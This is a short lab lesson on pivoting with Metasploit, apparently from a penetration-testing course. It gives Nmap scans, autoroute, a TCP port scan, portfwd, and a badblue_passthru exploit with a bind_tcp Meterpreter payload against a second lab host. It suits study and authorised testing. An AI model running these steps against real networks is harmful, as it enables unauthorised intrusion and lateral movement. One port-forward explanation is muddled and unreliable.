01. Pivoting
This lesson covers pivoting with Metasploit: exploit Victim 1, add a route through it, then reach and exploit Victim 2, which is only visible from Victim 1.
Scan Victim 1 with Nmap
Nmap -sV -p80 10.0.29.148
Find the vulnerable service and exploit it to get a shell. Run IPCONFIG from Victim 1 to identify possible networks.
Add a Route to Reach Victim 2 Through Victim 1
Autoroute sends Metasploit traffic for that subnet through the session, then print the routes to confirm.
run autoroute -s 10.0.29.0/20
run autoroute -p
Scan Victim 2's Open Ports
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.29.96 (Victim 2)
set PORTS 1-100
exploit
Forward a Port
The route only works inside Metasploit. Forward Victim 2's port 80 to a local port so other tools (like Nmap) can reach it. Go back to the session and add the forward:
sessions 1
portfwd add -l 1234 -p 80 -r 10.0.29.96
-l 1234= our port-p 80= target port-r= victim 2 IP
This routes all traffic from Victim 2 to us so we can run an Nmap scan.
Scan Victim 2 with Nmap
Nmap -sV -p 1234 localhost
Exploit Victim 2 (needs a bind TCP payload)
Victim 2 can't connect back to us, so the payload listens on the target and Metasploit connects to it through the route.
use exploit/windows/http/badblue_passthru
set PAYLOAD windows/meterpreter/bind_tcp
set RHOSTS 10.0.29.96
exploit